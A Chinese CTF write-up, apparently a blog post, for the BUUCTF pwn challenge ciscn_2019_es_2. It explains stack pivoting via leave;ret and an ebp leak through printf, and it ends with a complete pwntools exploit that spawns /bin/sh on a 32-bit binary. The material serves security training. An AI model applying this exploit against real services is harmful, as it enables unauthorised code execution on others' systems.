[栈迁移][BUUCTF][PWN] ciscn_2019_es_2

10 篇文章 0 订阅
3 篇文章 0 订阅

前置知识:
栈迁移概念:当存在栈溢出且可溢出长度不足以容纳 payload 时,可采用栈迁移。一般这种情况下,溢出仅能覆盖 ebp 、 eip 。因为原来的栈空间不足,所以要构建一个新的栈空间放下 payload ,因此称为栈迁移。

栈迁移原理:栈执行命令是从esp指向的位置想ebp指向的位置执行。正常情况退栈的操作是:esp指向ebp指向位置,ebp指向ebp里的内容所指向的位置。当遇见leave|ret命令的时候,相当于执行mov esp ebp; pop ebp; ret;作用就是将ebp指向的位置给esp,将ebp指向ebp里的内容所指向的位置,相当于ebp=(ebp)。
如果我们提前控制了ebp的值,那么当遇见leave指令的时候,ebp的值就会给到esp,由于esp里的内容会给到eip,所以就可以通过控制esp里的内容,实现控制指令执行流。

惯例checksec一下,32位系统,没开什么防护
在这里插入图片描述
main函数很简洁,一看就知道是栈溢出漏洞
在这里插入图片描述
你可能会想,用0x28字节的padding在ret的地方填上printf函数的地址,调用printf函数,然后打印某一个函数的地址,在使用libcsearcher算出基址,就可以打通。可惜的是这样的做法是错的。
在这里插入图片描述
因为对s大小的限定,所以你最多只能构造大小为0x30的payload,但是如果按照上面的做法。填充到r需要0x28大小的padding,然后一个4字节的printf函数覆盖返回地址,跟一个4个字节的printf函数的返回地址,然后填上你想泄露的函数地址又是4字节。0x28+4+4+4=0x34。很可惜,比0x30大了4字节。
这种情况就应该用栈迁移。
因为这道题有两次输入,所以我们可以通过第一次输入,控制ebp的内容,使esp到了ebp这个位置的时候,去到我们想让他去的地方。

为了得到ebp在栈里的位置。这里有一个知识,printf这个函数遇到/x00就会截断,如果没遇到,就会一直打印,直到遇到/x00。
那么我们将栈填满padding,由于printf遇不到/x00,那么他就不会停下,他会把ebp在栈里的位置”勾“出来。这段代码如下:在这里插入图片描述
知道了ebp在栈里的地址之后,我们便要得到偏移。
在这里插入图片描述
0xff808cb8-0xff808c80=0x38 ,得到偏移为0x38.
然后接下来就要利用第二次read布局我们的rop链:
首先,要有一个system函数,其次填写上他的返回地址(随便什么就行,为了节目效果填写deadbeef),再然后就是/bin/sh。最后用padding填满0x28字节直到ebp,ebp填充sys函数的返回地址的前4字节(用aaaa填充前四个字节,因为esp指向aaaa时,eip执行的是他的下一跳指令)。然后填上leave|ret 指令
在这里插入图片描述
使用ROPgadget找到leave|ret指令,任君使用了属于是。
然后interactive()打穿对方服务器!

完整exp如下:

from pwn import *
from LibcSearcher import *
#r=remote('node4.buuoj.cn',26835)
r=process('./a')
elf=ELF('./a')
context.log_level='debug'
#context.terminal = ['tmux','splitw','-h']
#gdb.attach(proc.pidof(r)[0],gdbscript="b main")
sys=0x8048400
leave_ret=0x80484b8
gdb.attach(r)
r.recvuntil("Welcome, my friend. What's your name?\n")
payload='a'*0x27+'b'
r.send(payload)
r.recvuntil('b')
ebp_addr=u32(r.recv(4))
print(hex(ebp_addr))
#gdb.attach(r)
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp_addr-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp_addr-0x38)
payload2+=p32(leave_ret)
r.sendline(payload2)

r.interactive()
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值